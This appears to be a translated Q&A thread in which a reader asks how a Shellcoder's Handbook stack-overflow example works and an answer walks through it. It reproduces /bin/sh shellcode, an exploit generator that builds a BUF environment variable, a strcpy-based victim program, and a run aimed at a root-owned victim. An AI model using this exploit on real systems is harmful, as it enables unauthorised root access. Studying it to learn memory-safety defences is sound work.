最近我正在阅读shellcoders手册,我遇到的这个例子让我很困惑。我部分能够解码它的含义但不完全。我添加了评论,我理解了它的含义,并且还在我不理解作者想要完成的内容的地方添加了评论。有人可以请告诉我这个第一个c程序是如何工作的吗?
#include <stdlib.h>
#define offset_size 0
#define buffer_size 512
char sc[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long find_start(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() - offset; //esp-offset. Esp acquired from inline assembly
printf("Attempting address: 0x%x\n", addr);
ptr = buff; // ???? buff is a random memory address within the progam. Why make ptr equal to buff?
addr_ptr = (long *) ptr; //typecasting to long pointer and assigning it to the random memory address, but why?
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr; // Fill bsize worth of stack memory with address, possibly to overwrite EIP on return from main
ptr += 4; // why add ptr by 4? I mean I know each stack space is worth 4 units but considering ptr is a random memory address why add it by 4?
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc[i]; // place shellcode at ptr's address
buff[bsize - 1] = '\0'; // no clue why this is used? Probably terminating shellcode? Or for marking end of buffer using \0
memcpy(buff,"BUF=",4); // copy memory 4 units equivalent of BUF=
putenv(buff); // linux environment variable stuff. Not really sure.
system("/bin/bash"); // no idea what this does.
}
此前的文字还提到它用于获取linux中对shell的root访问权限。如果正在使用root权限运行进程,它是否有效,这是否意味着缓冲区溢出到另一个进程的指令?这应该是不可能的,但我只想确认一下。如果不是如何获得shell或root shell的root权限?
[jack@0day local]$ ./attack 500
Attempting address: 0xbfffd768
[jack@0day local]$ ./victim $BUF
这是它在命令行中显示的方式,并且作者以root权限启动victim.c。
victim.c源代码如下:
int main(int argc,char *argv[]) {
char little_array[512];
if (argc > 1)
strcpy(little_array,argv[1]); }
答案 0 :(得分:2)
所以,我终于能够找到整个代码的含义,尽管我觉得作者在编写代码时做了一些假设。我将在整个过程中解释它们。如果您觉得在某个时刻我的解释是错误的,请随意纠正我。
#include <stdlib.h>
#define offset_size 0
#define buffer_size 512
char sc[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
这第一段代码包括C语言的标准库头。虽然它没有在这里使用,但它只是本书的一般规范,将其包含在所提供的每一段代码中。 作者定义了偏移大小和缓冲区大小。如果用户在命令行中没有提供输入,这些将成为偏移量大小/缓冲区大小的默认值,我们将在下面提到的代码中注意到。此外,作者声称shellcode将运行Linux终端。
unsigned long find_start(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
addr = find_start() - offset; //esp-offset. Esp acquired from inline assembly
printf("Attempting address: 0x%x\n", addr);
直到代码中的这一点,我们有一个find_start()
程序将esp
寄存器值移动到eax
寄存器。然后返回eax
的值。简而言之,此代码旨在查找当前堆栈指针的位置。
在主要内容中,我们看到了一些被定义的指针。接下来,我们看到作者将buffer_size
指定为bsize
作为默认情况,offset
和offset_size
也是如此。接下来检查argc
值,这基本上意味着如果输入超过1,则第一个输入将为bsize
,第二个输入将分别为offset
。
对于下一段代码,我将使用下图来解释这个概念: 正如我们所看到的,堆栈假设向下增长,虽然这取决于架构,但本书假定它向下增长。
addr = find_start() - offset;
printf("Attempting address: 0x%x\n", addr);
第一行表示addr
设置为我们的shellcode驻留在内存中的esp
- the defined offset value
的值(我们将在下一节中详细介绍)。这是作者作出的第一个假设,作者假设每次运行程序时,将为find_start()分配相同数量的堆栈空间,因此esp - offset
将保持不变。然后打印出该值。
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0; i < strlen(sc); i++)
*(ptr++) = sc[i];
ptr
等于buff,进一步强制转换为long *
并等于addr_ptr
。这基本上试图实现的是,由于buff
位于main()
的堆栈内存中,它将指向main()
内存中的随机位置。请注意,buff
指向的内存位置大于find_start()
堆栈内存的内存地址。因此buff
将大于addr
。
从内存中的这一点开始,我们将在堆栈内存中写入shellcode起始位置的地址,直到以bsize
为增量分配4
。 4的增量是因为在32位系统中每个堆栈存储器单元值4个字节。
然后ptr
递增4以指向堆栈存储器中的下一个更高位置。我们为什么这样做将在下一节中介绍。
接下来,我们递增ptr
并将shellcode写入内存,并在需要时覆盖先前写入的addr
。在内存中写入sc
的最后一个字符的位置是shellcode的起始地址。 addr
应该与此地址等效,我们可以通过尝试不同的offsets
和buffer sizes
或通过设置断点来检查程序运行时的内存布局来实现。
buff[bsize - 1] = '\0';
memcpy(buff,"BUF=",4);
putenv(buff);
system("/bin/bash");
缓冲区的最后一个字节等于\0
以标记输入的结束。之前我们将ptr
增加了4,这是为了在buff
的位置为4个字节的数据提供空间,相当于BUF=
,这有助于我们设置环境变量。 putenv(buff)
使其看起来像BUF=(SHELLCODE-REGION)+(MEMORY ADDRESS TO START OF SHELL CODE REGION)+\0
。因此BUF
是一个由这个长字符串组成的环境变量。然后执行system("bin/bash")
,据我所知,它几乎启动了linux命令行,但我不确定是否相同。
接下来是使用此环境变量部分。
[jack@0day local]$ ./attack 500
Attempting address: 0xbfffd768
[jack@0day local]$ ./victim $BUF
这意味着attack
与buffer size 500
一起运行,生成环境变量BUF
。然后针对BUF
计划对此victim
进行测试。如果我们回想一下,假设工作的原因是BUF
字符串的最后一部分由第一个shellcode指令的内存地址组成。因此,这部分假设要覆盖上图中显示的EBP
和RET
的值。返回时的程序将使用RET
处的地址并启动shellcode,假设它启动了一个linux终端,因为受害者正在运行root
,shellcode将root
作为终端启动为好。
此计划有一个重点:需要尝试多个bsize
和offset
值,以便最终找到适用于victim.c
的值。其次,发生这种情况是因为在受害者中使用了strcpy()
,它没有检查要复制的字符串的大小,如果它适合数组,它会将写入到数组所指向的内存位置。此外,由于ESP
驻留在内存的最低部分并在程序执行时向上填充,如果传递的数据大于分配的堆栈空间RET
和EBP
也许甚至更多都被传递的数据覆盖。
如果解释中有任何错误,请发表评论。我试图解释它以供将来参考,以防我忘记了这个程序的作用,也为其他人努力理解这个程序实际上要做的事情。